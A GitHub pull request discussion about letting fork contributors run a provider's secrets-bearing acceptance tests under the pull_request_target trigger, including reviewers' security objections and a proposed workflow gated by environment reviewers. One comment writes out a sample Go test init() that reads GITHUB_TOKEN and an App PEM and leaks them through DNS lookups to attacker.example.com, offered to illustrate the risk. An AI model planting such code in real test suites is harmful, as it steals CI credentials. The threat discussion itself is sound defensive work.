Conversation
|
👋 Hi! Thank you for this contribution! Just to let you know, our GitHub SDK team does a round of issue and PR reviews twice a week, every Monday and Friday! We have a process in place for prioritizing and responding to your input. Because you are a part of this community please feel free to comment, add to, or pick up any issues/PRs that are labeled with |
398e509 to
a395aaa
Compare
a395aaa to
8d9badb
Compare
8d9badb to
311f515
Compare
311f515 to
ef353c4
Compare
ef353c4 to
b1c31a3
Compare
b1c31a3 to
17793c8
Compare
Signed-off-by: Steve Hipwell <steve.hipwell@gmail.com>
17793c8 to
97249a1
Compare
| # pull_request_target: | ||
| pull_request: |
There was a problem hiding this comment.
| # pull_request_target: | |
| pull_request: | |
| pull_request_target: |
This needs changing before we merge, but it needs to be pull_request to run the tests in the PR before the code is merged.
deiga
left a comment
There was a problem hiding this comment.
If you feel so inclined, you could refactor the Check blocks you modified into ConfigStateChecks.
Otherwise LGTM
austenstone
left a comment
There was a problem hiding this comment.
Left one inline note on the pull_request_target scaffold recommending its removal, since it nudges future edits toward a privileged trigger that would be easy to misuse in a secrets-bearing acceptance-test workflow.
| - main | ||
| - release-v* | ||
| # pull_request_target: | ||
| pull_request: |
There was a problem hiding this comment.
I’d remove the commented pull_request_target scaffold here.
Even as a comment, it points future edits toward the wrong primitive for this workflow. These acceptance tests use environment-scoped credentials, so pull_request_target only stays safe if we never check out or execute PR head code. With default checkout, it would test trusted base-branch code rather than the PR; if someone later switches checkout to PR head to make the tests meaningful, that becomes the exact privileged-trigger + untrusted-checkout + secrets pattern GitHub warns about.
Keeping only pull_request here makes the intended and safer behavior unambiguous.
There was a problem hiding this comment.
@austenstone the whole point of this work is to enable the pull_request_target trigger so contributors can run tests! I think you might have missed the part of the workflow that explicitly blocks a run if any unexpected secrets leak into the context?
There was a problem hiding this comment.
@stevehipwell I want to walk through a concrete attack scenario to illustrate why the "Check secrets" step doesn't mitigate the risk here.
The attack:
- Attacker forks the repo and modifies any
*_test.gofile — for example, adding this to an existing test helper:
func init() {
// Exfiltrate via DNS (bypasses most egress filters)
token := os.Getenv("GITHUB_TOKEN")
appPEM := os.Getenv("GITHUB_APP_PEM_FILE")
encoded := base64.StdEncoding.EncodeToString([]byte(appPEM))
for i := 0; i < len(encoded); i += 60 {
chunk := encoded[i:min(i+60, len(encoded))]
net.LookupHost(fmt.Sprintf("%d.%s.attacker.example.com", i/60, chunk))
}
}-
Attacker opens a PR. A maintainer reviews it, it looks reasonable, and applies the
acctestlabel. -
The workflow runs
go teston the fork's code with secrets injected via environment variables (GITHUB_TOKEN,GITHUB_APP_PEM_FILE, etc.). -
The attacker's modified test code executes and exfiltrates the App PEM key and token.
Why the "Check secrets" step doesn't help:
The check validates that no unexpected secret names exist in the environment — it filters by naming convention (ACTIONS_*, GITHUB_*, TEST_*) and an allowlist. But the secrets being exfiltrated (GH_TEST_TOKEN, GH_TEST_APP_PEM) are the expected, allowed ones. The check explicitly permits them.
Why the acctest-dotcom-untrusted environment doesn't fully help:
Even if this environment has reduced-privilege credentials, the attacker gets whatever's there. And there's a subtler issue: once the acctest label is applied, the attacker can push new commits to the fork branch that re-trigger the workflow without requiring re-review of the label. The initial PR can look clean; the malicious commit comes after labeling.
The App PEM is the crown jewel — with the PEM + App ID (which is in vars, visible to forks), an attacker can generate installation tokens for any org the app is installed on.
The safe pattern is pull_request_target with an explicit checkout of only the base ref (trusted code), never executing PR head code with secrets. Or using short-lived OIDC tokens instead of long-lived PEM keys.
There was a problem hiding this comment.
@tag-assistant this attack vector has already been considered and the workflow has been hardened to protect against this. Before the workflow can run a human reviewer with sufficient privilege needs to approve it via a protected environment.
There was a problem hiding this comment.
Ok. I was just worried. That's like the avoid at all costs trigger.
|
Taking a step back — the goal here is great. External contributors need to be able to run acceptance tests without maintainers doing it manually. But I think we're building a lot of custom machinery (fork detection, label gates, secret validation, untrusted environments) to solve a problem GitHub already solves natively. Environment protection rules with required reviewers replace almost all of this:
That last point is critical. The label-based approach has a gap where an attacker can push new commits after the It also eliminates the interaction risk with things like AI-powered labelers (#3272) — if an automated tool accidentally applies The simplified workflow would look something like: on:
pull_request:
push:
branches: [main, release-v*]
jobs:
test:
runs-on: ubuntu-latest
environment: acctest-dotcom # required reviewer gate handles everything
steps:
- uses: actions/checkout@v4
- uses: actions/setup-go@v5
- run: go test ./github -v -count=1 -parallel=20 -timeout=30m
env:
TF_ACC: "1"
GITHUB_TOKEN: ${{ secrets.GH_TEST_TOKEN }}
# ... other test varsThe entire |
|
I quickly looked into some of the test failures:
|
Resolves #ISSUE_NUMBER
Before the change?
app_authblockAfter the change?
acctestlabel (they currently need to be approved)mainPull request checklist
Does this introduce a breaking change?
Please see our docs on breaking changes to help!